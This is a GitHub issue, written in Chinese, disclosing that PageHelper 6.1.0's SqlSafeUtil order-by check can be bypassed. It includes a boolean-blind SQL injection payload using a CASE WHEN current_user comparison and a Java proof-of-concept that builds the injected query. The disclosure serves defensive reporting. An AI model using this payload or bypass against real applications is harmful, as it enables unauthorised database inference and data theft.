-
-
Notifications
You must be signed in to change notification settings - Fork 3.1k
Open
Description
通过本地测试最新包发现此问题:pagehelper:6.1.0
你好,我发现在SqlSafeUtil类中,对传入的Order by参数校验并不严格,从而导致了sql注入。
以下是我的复现过程:
当order by参数传入case when current_user regexp 0x726f6f74 then 1 else 2 end的时候,并不会触发SqlSafeUtil的检测,其构造成了一个布尔盲注,通过返回值的排序不同来判断逻辑语句是否执行成功。
我简单的编写了一个类来测试这个问题:
import com.github.pagehelper.PageException;
import com.github.pagehelper.util.SqlSafeUtil;
import java.sql.*;
class Test {
public static Boolean setOrderBy(String orderBy) {
if (SqlSafeUtil.check(orderBy)) {
throw new PageException("order by [" + orderBy + "] has a risk of SQL injection, " +
"if you want to avoid SQL injection verification, you can call Page.setUnsafeOrderBy");
}
return true;
}
public static void main(String[] args) {
String url = "jdbc:mysql://localhost:3306/test?useUnicode=true&characterEncoding=utf8&useSSL=true";
String username = "root";
String password = "123456";
String payload = "case when current_user regexp 0x726f6f74 then uuid else id end ASC";
String baseSql = "SELECT * FROM users ORDER BY ";
String sql = baseSql;
if (setOrderBy(payload)) {
if (setOrderBy(payload)) {
sql += payload;
}
}
try (
Connection conn = DriverManager.getConnection(url, username, password);
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql)
) {
while (rs.next()) {
System.out.println("id:"+rs.getString(1)+"---uuid:"+rs.getString(2)+"---user:"+rs.getString(3));
}
} catch (SQLException ex) {
ex.printStackTrace();
}
}
}这是我的表内容
当前的数据库用户为root,其16进制编码为0x726f6f74
可以看到,如果运行这条sql语句(payload为case when current_user regexp 0x726f6f74 then uuid else id end ASC,即判断当前用户是否为root),那么返回结果将会以uuid进行升序排序,否则则会以id进行升序排序,以下是运行结果:
将逻辑中的16进制root更改为其他无效用户(admin,0x61646d696e),再次进行验证
其成功的返回了相应的结果(以id进行排序)。由此可判断其具有SQL注入漏洞。
Metadata
Metadata
Assignees
Labels
No labels


